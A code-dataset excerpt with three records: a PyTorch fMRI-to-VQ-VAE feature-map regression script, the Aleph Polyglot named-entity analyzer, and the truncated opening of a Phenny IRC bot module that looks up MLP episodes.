opts={'title': 'train dist loss'})\n                train_global_idx += 1\n                print('step_{}_train_loss : {}'.format(step, loss.item()))\n\n\ndef test(viz, model, test_dataloader, test_win_mse, criterion, test_global_idx):\n    model.eval()\n    # test_global_idx = np.array([0])\n    with torch.no_grad():\n        mse_loss_list = []\n        # dist_loss_list = []\n        for step, (fmri, fmap) in enumerate(test_dataloader):\n            fmri = fmri.cuda()\n            fmap = fmap.cuda()\n\n            out = model(fmri)\n            mseLoss = criterion(out, fmap)\n            # loss = mseLoss\n\n            mse_loss_list.append(mseLoss)\n            # dist_loss_list.append(distLoss)\n\n        mse_mean_loss = sum(mse_loss_list) / len(mse_loss_list)\n        # dist_mean_loss = sum(dist_loss_list) / len(dist_loss_list)\n        if test_win_mse:\n            viz.line(Y=mse_mean_loss.view(1), X=test_global_idx, win=test_win_mse, update=\"append\",\n                     opts={'title': 'test mse loss'})\n            # viz.line(Y=dist_mean_loss.view(1), X=test_global_idx, win=test_win_dist, update=\"append\",\n            #          opts={'title': 'test dist loss'})\n            test_global_idx += 1\n            # print('test_mse_loss : {},test_dist_loss:{}'.format(mse_mean_loss.item(), dist_mean_loss.item()))\n            print('test_mse_loss : {}'.format(mse_mean_loss.item()))\n        return mse_mean_loss  # todo\n\n\ndef train_one_frame(viz, init_weights, mean, std, epochs, lr, weight_decay, logIterval, drawline, frame_idx,\n                    fmap_start, fmap_end, batch_size=128, num_workers=0, i_dim=4917, o_dim=128, subject=1):\n    model = LinearRegressionModel(i_dim, o_dim).cuda()\n    # model = NonLinearRegressionModel(i_dim, o_dim).cuda()\n    model.apply(init_weights)\n    # model = NonLinearRegressionModel(i_dim, o_dim).cuda()\n    criterion = nn.MSELoss()  # Mean Squared Loss\n    optimiser = torch.optim.SGD(model.parameters(), lr=lr, weight_decay=weight_decay)  # Stochastic Gradient Descent\n\n    saveDir = '/data1/home/guangjie/Data/vim-2-gallant/regressionFeatureMapModelSeparate/subject_{}/frame_{}'.format(\n        subject,\n        frame_idx)\n    os.makedirs(saveDir, exist_ok=True)\n    test_loss_of_frame = []\n    for fmap_idx in np.arange(fmap_start, fmap_end):  # range(n_lantent):\n        model.apply(init_weights)\n        # model = NonLinearRegressionModel(i_dim, o_dim).cuda()\n        dataset = fmri_fmap_all_k_dataset(\n            fmri_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject{}_v1234_rt_train.hdf5\".format(\n                subject),\n            k_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/k_from_vqvae_st.hdf5\",\n            embeds_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/imagenet128_embeds_from_vqvae.hdf5\",\n            fmri_key='rt', dt_key='rt', frame_idx=frame_idx, fmap_idx=fmap_idx)\n        dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=num_workers)\n\n        test_dataset = fmri_fmap_all_k_dataset(\n            fmri_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject{}_v1234_rt_test.hdf5\".format(\n                subject),\n            k_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/k_from_vqvae_st.hdf5\",\n            embeds_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/imagenet128_embeds_from_vqvae.hdf5\",\n            fmri_key='rt', dt_key='rv', frame_idx=frame_idx, fmap_idx=fmap_idx)\n        test_dataloader = DataLoader(test_dataset, batch_size=batch_size, shuffle=True, num_workers=num_workers)\n\n        train_global_idx = np.array([0])\n        test_global_idx = np.array([0])\n\n        if drawline:\n            train_win_mse = viz.line(Y=np.array([0]))\n            # train_win_dist = viz.line(Y=np.array([0]))\n            test_win_mse = viz.line(Y=np.array([0]))\n            # test_win_dist = viz.line(Y=np.array([0]))\n        else:\n            train_win_mse = None\n            # train_win_dist = None\n            test_win_mse = None\n            # test_win_dist = None\n        test_loss_of_fmap = []\n        for ep in range(epochs):\n            train(viz, model, dataloader, train_win_mse, logIterval, optimiser, criterion,\n                  train_global_idx)\n            test_loss = test(viz, model, test_dataloader, test_win_mse, criterion, test_global_idx)\n            print('frame_{}_fmap_{}_epoch_{}_test_loss: {}'.format(frame_idx, fmap_idx, ep, test_loss))\n            test_loss_of_fmap.append(test_loss.cpu().item())\n            # todo 调整 lr\n        test_loss_of_frame.append(test_loss_of_fmap)\n        del train_win_mse\n        del test_win_mse\n        torch.save(model.state_dict(),\n                   os.path.join(saveDir, \"subject_{}_frame_{}_regression_model_i_{}_o_{}_fmap_{}.pth\".format(\n                       subject, frame_idx, i_dim, o_dim, fmap_idx)))\n    return test_loss_of_frame\n\n\ndef apply_regression_to_fmri(dt_key, frame_idx, subject=1, n_fmap=128, model_in_dim=4917, model_out_dim=1024,\n                             fmap_size=1024):\n    model_dir = \"/data1/home/guangjie/Data/vim-2-gallant/regressionFeatureMapModel/subject_{}/frame_{}\".format(subject,\n                                                                                                               frame_idx)\n    save_dir = \"/data1/home/guangjie/Data/vim-2-gallant/regressed_zq_of_vqvae_by_feature_map/subject_{}/{}/frame_{}\".format(\n        subject, dt_key, frame_idx)\n    os.makedirs(save_dir, exist_ok=True)\n    # model = NonLinearRegressionModel(model_in_dim, model_out_dim).cuda()\n    model = LinearRegressionModel(model_in_dim, model_out_dim).cuda()\n    # mean, std = get_vim2_fmri_mean_std(\n    #     \"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject1_v1234_rt_rv_rva0.hdf5\",\n    #     'rt')  # todo 归一化方式\n    mean, std = None, None\n    dataset = fmri_dataset(\n        \"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject1_v1234_rt_{}.hdf5\".format(\n            'train' if dt_key == 'rt' else 'test'), mean, std, 'rt')  # todo train test\n    # dataset = fmri_dataset(\n    #     \"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject1_v1234_rt_rv_rva0.hdf5\",\n    #     mean, std, dt_key)  # todo\n    dataloader = DataLoader(dataset, batch_size=128, shuffle=False, num_workers=0)\n\n    for fmap_idx in range(n_fmap):\n        model.load_state_dict(\n            torch.load(os.path.join(model_dir, \"subject_{}_frame_{}_regression_model_i_{}_o_{}_fmap_{}.pth\".format(\n                subject, frame_idx, i_dim, o_dim, fmap_idx))))\n        sf = h5py.File(os.path.join(save_dir, \"subject_{}_frame_{}_ze_fmap_{}.hdf5\".format(\n            subject, frame_idx, fmap_idx)), 'w')  # todo zq\n        fmap = sf.create_dataset('fmap', shape=(len(dataset), fmap_size))\n        with torch.no_grad():\n            begin_idx = 0\n            model.eval()\n            for step, fmri in enumerate(dataloader):\n                out = model(fmri.cuda())\n                end_idx = begin_idx + len(out)\n                fmap[begin_idx:end_idx] = out.cpu().numpy()  # 需要cpu().numpy()?\n                begin_idx = end_idx\n        sf.close()\n        print(fmap_idx)\n\n\ndef apply_regression_to_fmri_concatenate(dt_key, frame_idx, subject, n_fmap, model_in_dim, model_out_dim, wd):\n    model_dir = \"/data1/home/guangjie/Data/vim-2-gallant/regressionFeatureMapModelSeparate/subject_{}/frame_{}\".format(subject,\n                                                                                                               frame_idx)\n    save_dir = \"/data1/home/guangjie/Data/vim-2-gallant/regressed_zq_of_vqvae_by_feature_map/subject_{}/{}/frame_{}\".format(\n        subject, dt_key, frame_idx)\n    os.makedirs(save_dir, exist_ok=True)\n    # model = NonLinearRegressionModel(model_in_dim, model_out_dim).cuda()\n    model = LinearRegressionModel(model_in_dim, model_out_dim).cuda()\n    # mean, std = get_vim2_fmri_mean_std(\n    #     \"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject1_v1234_rt_rv_rva0.hdf5\",\n    #     'rt')  # todo 归一化方式\n    mean, std = None, None\n    dataset = fmri_dataset(\n        \"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject{}_v1234_rt_{}.hdf5\".format(\n            subject, 'train' if dt_key == 'rt' else 'test'), mean, std, 'rt')  # todo train test\n    # dataset = fmri_dataset(\n    #     \"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject{}_v1234_{}_filter.hdf5\".format(subject,\n    #                                                                                                           dt_key),\n    #     mean, std, dt_key)  # todo\n    dataloader = DataLoader(dataset, batch_size=512, shuffle=False, num_workers=0)\n    with h5py.File(os.path.join(save_dir, \"subject_{}_frame_{}_ze_fmap_all_wd{}.hdf5\".format(\n            subject, frame_idx, wd)), 'w') as sf:\n        latent = sf.create_dataset('latent', shape=(len(dataset), 32, 32, 128), chunks=True)\n        for fmap_idx in range(n_fmap):\n            model.load_state_dict(\n                torch.load(\n                    os.path.join(model_dir, \"subject_{}_frame_{}_regression_model_i_{}_o_{}_fmap_{}.pth\".format(\n                        subject, frame_idx, i_dim, o_dim, fmap_idx))))\n            with torch.no_grad():\n                begin_idx = 0\n                model.eval()\n                for step, fmri in enumerate(dataloader):\n                    out = model(fmri.cuda())\n                    end_idx = begin_idx + len(out)\n                    latent[begin_idx:end_idx, :, :, fmap_idx] = out.reshape(len(out), 32, 32).cpu().numpy()\n                    begin_idx = end_idx\n            print(fmap_idx)\n\n\ndef train_frames(viz, i_dim, o_dim, lr, weight_decay, init_weights, epochs, logIterval, drawline, frame_start,\n                 frame_end, fmap_start, fmap_end, batch_size, num_workers, subject):\n    # mean, std = get_vim2_fmri_mean_std(\n    #     \"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject1_v1234_rt_train.hdf5\", dt_key='rt')\n    mean, std = None, None\n    # o_mean,o_std = get_vector_mean_std()\n    testloss_of_all_fmaps = {}\n    for frame_idx in np.arange(frame_start, frame_end):\n        print('{} frame begin:'.format(frame_idx))\n        testloss_list = train_one_frame(viz, init_weights, mean, std, epochs, lr, weight_decay, logIterval,\n                                        drawline=drawline, frame_idx=frame_idx, fmap_start=fmap_start,\n                                        fmap_end=fmap_end, batch_size=batch_size, num_workers=num_workers, i_dim=i_dim,\n                                        o_dim=o_dim, subject=subject)\n        testloss_of_all_fmaps[str(frame_idx)] = testloss_list\n    return testloss_of_all_fmaps\n\n\ndef show_regression_performance(model_in_dim, model_out_dim, frame_idx=0, latent_idx=0, time_step=15):\n    model = LinearRegressionModel(model_in_dim, model_out_dim).cuda()\n    model.load_state_dict(\n        torch.load(\n            \"/data1/home/guangjie/Data/vim-2-gallant/regressionModel/subject_1/frame_{}/subject_1_regression_model_i_4917_o_128_latent_{}.pth\".format(\n                frame_idx, latent_idx)))\n    criterion = nn.MSELoss()  # Mean Squared Loss\n\n    with h5py.File(\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject1_v1234_rt_rv_rva0.hdf5\",\n                   'r') as vf:\n        rt_data = vf['rt']\n        rv_data = vf['rv']\n        rva0_data = vf['rva0']\n        with h5py.File(\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/zq_from_vqvae_st.hdf5\", 'r') as st_zq_f:\n            st_zq_data = st_zq_f['zq']\n            with h5py.File(\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/zq_from_vqvae_sv.hdf5\", 'r') as sv_zq_f:\n                sv_zq_data = sv_zq_f['zq']\n                with torch.no_grad():\n                    model.eval()\n                    rt_loss_list, rv_loss_list = [], []\n                    for i in range(100):  # n 个时刻\n                        rt = torch.from_numpy(rt_data[:, i]).cuda()\n                        o_rt = model(rt)\n                        zq_st_frame_latent = torch.from_numpy(\n                            st_zq_data[frame_idx + i * time_step].reshape(1024, 128)[latent_idx]).cuda()\n                        rt_loss = criterion(o_rt, zq_st_frame_latent)\n                        rt_loss_list.append(rt_loss.cpu().numpy())\n\n                        rv = torch.from_numpy(rv_data[:, i]).cuda()\n                        o_rv = model(rv)\n                        zq_sv_frame_latent = torch.from_numpy(\n                            sv_zq_data[frame_idx + i * time_step].reshape(1024, 128)[latent_idx]).cuda()\n                        rv_loss = criterion(o_rv, zq_sv_frame_latent)\n                        rv_loss_list.append(rv_loss.cpu().numpy())\n\n                        # print(i, ' rt_loss:', rt_loss, 'rv_loss:', rv_loss)\n                    print(latent_idx, np.mean(rt_loss_list), np.mean(rv_loss_list))\n                    # rva0 = rva0_data[:, i].cuda()\n                    # o_rva0 = model(rva0)\n\n\ndef show_regression_performance_all(frame_idx=14, latent_idx=0, time_step=15):\n    criterion = nn.MSELoss()  # Mean Squared Loss\n\n    with h5py.File(\n            \"/data1/home/guangjie/Data/vim-2-gallant/regressed_ze_of_vqvae/subject_1/rt/frame_0/subject_1_frame_0_ze_latent_all.hdf5\",\n            'r') as reg_rt_zq_f:\n        reg_rt_zq_data = reg_rt_zq_f['latent']\n        with h5py.File(\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/zq_from_vqvae_st.hdf5\", 'r') as st_zq_f:\n            st_zq_data = st_zq_f['zq'][frame_idx::time_step]\n            for i in range(100):\n                reg_zq = torch.from_numpy(reg_rt_zq_data[i])\n                zq = torch.from_numpy(st_zq_data[i].reshape(1024, 128))\n                loss = criterion(reg_zq, zq)\n                print(loss)\n\n    with h5py.File(\n            \"/data1/home/guangjie/Data/vim-2-gallant/regressed_ze_of_vqvae/subject_1/rv/frame_0/subject_1_frame_0_ze_latent_all.hdf5\",\n            'r') as reg_rv_zq_f:\n        reg_rv_zq_data = reg_rv_zq_f['latent']\n        with h5py.File(\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/zq_from_vqvae_sv.hdf5\", 'r') as sv_zq_f:\n            sv_zq_data = sv_zq_f['zq'][frame_idx::time_step]\n            for i in range(100):\n                reg_zq = torch.from_numpy(reg_rv_zq_data[i])\n                zq = torch.from_numpy(sv_zq_data[i].reshape(1024, 128))\n                loss = criterion(reg_zq, zq)\n                print(loss)\n\n\ndef eval_model_performance(dt_key, frame_idx, modelRootDir, batch_size, num_workers, i_dim, o_dim, subject):\n    model = LinearRegressionModel(i_dim, o_dim).cuda()\n    criterion = nn.MSELoss()  # Mean Squared Loss\n    fmaps_loss = []\n    for fmap_idx in range(128):\n        dataset = fmri_fmap_all_k_dataset(  # todo\n            fmri_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/VoxelResponses_subject{}_v1234_rt_{}.hdf5\".format(\n                subject, 'train' if dt_key == 'rt' else 'test'),\n            k_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/k_from_vqvae_st_test_frame_1_200_uniform_sample.hdf5\",\n            embeds_file=\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/imagenet128_embeds_from_vqvae.hdf5\",\n            fmri_key='rt', frame_idx=frame_idx, fmap_idx=fmap_idx)\n        dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=False, num_workers=num_workers)\n        model.load_state_dict(torch.load(os.path.join(\n            modelRootDir, \"subject_{}/frame_{}/subject_{}_frame_{}_regression_model_i_{}_o_{}_fmap_{}.pth\".format(\n                subject, frame_idx, subject, frame_idx, i_dim, o_dim, fmap_idx))))\n        model.eval()\n        fmap_loss = []\n        for step, (fmri, fmap) in enumerate(dataloader):\n            fmri = fmri.cuda()\n            fmap = fmap.cuda()\n\n            out = model(fmri)\n            loss = criterion(out, fmap)\n\n            fmap_loss.append(loss.cpu().item())\n        fmaps_loss.append(np.mean(fmap_loss))\n        print(fmap_idx)\n    return fmaps_loss\n\n\nif __name__ == '__main__':\n    viz = Visdom(server=\"http://localhost\", env='fmap regression')\n    assert viz.check_connection(timeout_seconds=3)\n    torch.manual_seed(7)\n\n    lr = 0.2  # best:0.2\n    weight_decay = 0.01  # best:0.01 todo 调整此参数，改变test loss 随train loss 下降的程度\n    epochs = 40  # best:200 50\n    logIterval = 30\n    subject = 3\n    i_dim = 4854 # 893  # 4854 frame_0:4917 4917  #4828  #Subject3V12:2471    Subject3V34:2383 subject3ips:893\n    o_dim = 1024\n    n_frames = 15\n    # todo frame_1 Adam w_d 0.1\n    # show_regression_performance_all()\n    # for i in range(1024):\n    # show_regression_performance(model_in_dim=i_dim, model_out_dim=o_dim, frame_idx=0, latent_idx=0)\n    frame_idx = 1\n    fmap_start =96\n    fmap_end = 128\n    # with open(\"testlosslog/for_feature_map/test_loss_{}_{}_wd_{}.json\".format(fmap_start, fmap_end, weight_decay),\n    #           'w') as fp:\n    lossdict = train_frames(viz, i_dim, o_dim, lr, weight_decay, init_weights, epochs, logIterval, drawline=False,\n                            frame_start=8, frame_end=9, fmap_start=fmap_start, fmap_end=fmap_end, batch_size=128,\n                            num_workers=0, subject=3)\n    # json.dump({\"loss\": lossdict}, fp)\n    # train_loss = []\n    # train_loss = eval_model_performance(dt_key='rt', frame_idx=frame_idx,\n    #                                     modelRootDir=\"/data1/home/guangjie/Data/vim-2-gallant/regressionFeatureMapModel/\",\n    #                                     batch_size=128, num_workers=0, i_dim=i_dim, o_dim=o_dim)\n\n    # test_loss = eval_model_performance(dt_key='rv', frame_idx=frame_idx,\n    #                                    modelRootDir=\"/data1/home/guangjie/Data/vim-2-gallant/regressionFeatureMapModel/\",\n    #                                    batch_size=128, num_workers=0, i_dim=i_dim, o_dim=o_dim, subject=3)\n    # for i, loss in enumerate(test_loss):\n    #     print('fmap_{}:'.format(i), loss)\n    #\n    # with open('testlosslog/eval_loss/subject_{}_frame_{}_feature_map_loss.json'.format(subject, frame_idx), 'w') as fp:\n    #     json.dump({'test': test_loss}, fp)\n\n    # for i, (train, test) in enumerate(zip(train_loss, test_loss)):\n    #     print('fmap_{} :'.format(i), train, test)\n    #\n    # with open('testlosslog/eval_loss/frame_{}_feature_map_loss.json'.format(frame_idx), 'w') as fp:\n    #     json.dump({'train': train_loss, 'test': test_loss}, fp)\n    # with open('testlosslog/eval_loss/feature_map_loss.json', 'r') as fp:\n    #     lossfile = json.load(fp)\n    #     train_loss = lossfile['train']\n    #     test_loss = lossfile['test']\n    #     for i, (train, test) in enumerate(zip(train_loss, test_loss)):\n    #         print('fmap_{} :'.format(i), train, test)\n    # apply_regression_to_fmri('rt', frame_idx=5, subject=1)\n\n    # apply_regression_to_fmri_concatenate(dt_key='rv', frame_idx=7, subject=3, n_fmap=128, model_in_dim=i_dim,\n    #                                      model_out_dim=o_dim, wd='03')  # frame_1 4917\n", "sub_path": "regression_feature_maps.py", "file_name": "regression_feature_maps.py", "file_ext": "py", "file_size_in_byte": 29170, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.le", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.le", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 105, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 105, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 110, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 120, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 120, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 125, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 127, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 134, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 149, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 149, "usage_type": "name"}, {"api_name": "torch.nn.init.uniform_", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 150, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 150, "usage_type": "name"}, {"api_name": "torch.nn.init.uniform_", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 152, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 152, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 157, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 157, "usage_type": "name"}, {"api_name": "torch.nn.LSTMCell", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 160, "usage_type": "name"}, {"api_name": "torch.full", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.full", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 258, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 291, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 291, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 292, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 292, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 297, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 299, "usage_type": "call"}, {"api_name": "MyDataset.fmri_fmap_all_k_dataset", "line_number": 302, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 308, "usage_type": "call"}, {"api_name": "MyDataset.fmri_fmap_all_k_dataset", "line_number": 310, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 316, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 318, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 319, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 324, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 342, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 343, "usage_type": "call"}, {"api_name": "os.path", "line_number": 343, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 354, "usage_type": "call"}, {"api_name": "MyDataset.fmri_dataset", "line_number": 361, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 367, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 371, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 371, "usage_type": "call"}, {"api_name": "os.path", "line_number": 371, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 373, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 373, "usage_type": "call"}, {"api_name": "os.path", "line_number": 373, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 376, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 393, "usage_type": "call"}, {"api_name": "MyDataset.fmri_dataset", "line_number": 400, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 407, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 408, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 408, "usage_type": "call"}, {"api_name": "os.path", "line_number": 408, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 413, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 414, "usage_type": "call"}, {"api_name": "os.path", "line_number": 414, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 416, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 434, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 447, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 450, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 450, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 452, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 457, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 459, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 461, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 465, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 467, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 472, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 474, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 480, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 486, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 486, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 488, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 492, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 495, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 496, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 500, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 504, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 507, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 508, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 515, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 515, "usage_type": "name"}, {"api_name": "MyDataset.fmri_fmap_all_k_dataset", "line_number": 518, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 524, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 525, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 525, "usage_type": "call"}, {"api_name": "os.path", "line_number": 525, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 538, "usage_type": "call"}, {"api_name": "visdom.Visdom", "line_number": 544, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 546, "usage_type": "call"}]}
+{"seq_id": "170760113", "text": "from __future__ import absolute_import\n\nimport logging\nfrom polyglot.text import Text\n\nfrom aleph.analyze.analyzer import Analyzer\nfrom aleph.model import DocumentTag, DocumentTagCollector\n\nlog = logging.getLogger(__name__)\n\n\nclass PolyglotEntityAnalyzer(Analyzer):\n    ORIGIN = 'polyglot'\n    MIN_LENGTH = 100\n    TYPES = {\n        'I-PER': DocumentTag.TYPE_PERSON,\n        'I-ORG': DocumentTag.TYPE_ORGANIZATION,\n        # 'I-LOC': DocumentTag.TYPE_LOCATION\n    }\n\n    def analyze(self, document):\n        if document.type in [document.TYPE_TABULAR, document.TYPE_OTHER]:\n            return\n        collector = DocumentTagCollector(document, self.ORIGIN)\n        text = document.text\n        if text is None or len(text) <= self.MIN_LENGTH:\n            return\n        try:\n            hint_language_code = None\n            if len(document.languages) == 1:\n                hint_language_code = document.languages[0]\n            text = Text(text, hint_language_code=hint_language_code)\n            for entity in text.entities:\n                if entity.tag == 'I-LOC' or len(entity) == 1:\n                    continue\n\n                label = ' '.join(entity)\n                if len(label) < 4 or len(label) > 200:\n                    continue\n                collector.emit(label, self.TYPES[entity.tag])\n\n        except ValueError as ve:\n            log.info('NER value error: %r', ve)\n        except Exception as ex:\n            log.warning('NER failed: %r', ex)\n        finally:\n            log.info('Polyglot extracted %s entities.', len(collector))\n            collector.save()\n", "sub_path": "aleph/analyze/polyglot_entity.py", "file_name": "polyglot_entity.py", "file_ext": "py", "file_size_in_byte": 1584, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "aleph.analyze.analyzer.Analyzer", "line_number": 12, "usage_type": "name"}, {"api_name": "aleph.model.DocumentTag.TYPE_PERSON", "line_number": 16, "usage_type": "attribute"}, {"api_name": "aleph.model.DocumentTag", "line_number": 16, "usage_type": "name"}, {"api_name": "aleph.model.DocumentTag.TYPE_ORGANIZATION", "line_number": 17, "usage_type": "attribute"}, {"api_name": "aleph.model.DocumentTag", "line_number": 17, "usage_type": "name"}, {"api_name": "aleph.model.DocumentTagCollector", "line_number": 24, "usage_type": "call"}, {"api_name": "polyglot.text.Text", "line_number": 32, "usage_type": "call"}]}
+{"seq_id": "1106440", "text": "#!/usr/bin/env python\n\"\"\"\nepisode.py - Phenny MLP Episodes Module\n\n\"\"\"\n\nimport re\nimport web\nimport json\nimport string\nimport ast\nimport calendar\nimport time\n\nclass Grab(web.urllib.request.URLopener):\n    def __init__(self, *args):\n        self.version = 'Mozilla/5.0 (CompuBot)'\n        web.urllib.request.URLopener.__init__(self, *args)\n        self.addheader('Referer', 'https://github.com/sbp/phenny')\n    def http_error_default(self, url, fp, errcode, errmsg, headers):\n        return web.urllib.addinfourl(fp, [headers, errcode], \"http:\" + url)\n\ndef episode_find(query, phenny): \n    query = query.replace('!', '')\n    if re.compile('(?i)(season \\d+(,)? episode \\d+)').match(query):\n        regex = re.compile('(?i)season (\\d+)(?:,)? episode (\\d+)')\n        numbers = regex.findall(query)\n        results = [int(i) for i in numbers[0]]\n        snum = str(int(results[0]))\n        enum = str(int(results[1]))\n        uri = 'https://ponyapi.apps.xeserv.us/season/' + snum + '/episode/' + enum\n        nl = query\n        issearch = False\n        isnextlast = False\n    elif re.compile('(?i)((s|se)\\d+(, | |,)?(e|ep)\\d+)').match(query):\n        regex = re.compile('(?i)(?:s|se)(\\d+)(?:, | |,)?(?:e|ep)(\\d+)')\n        numbers = regex.findall(query)\n        results = [int(i) for i in numbers[0]]\n        snum = str(int(results[0]))\n        enum = str(int(results[1]))\n        uri = 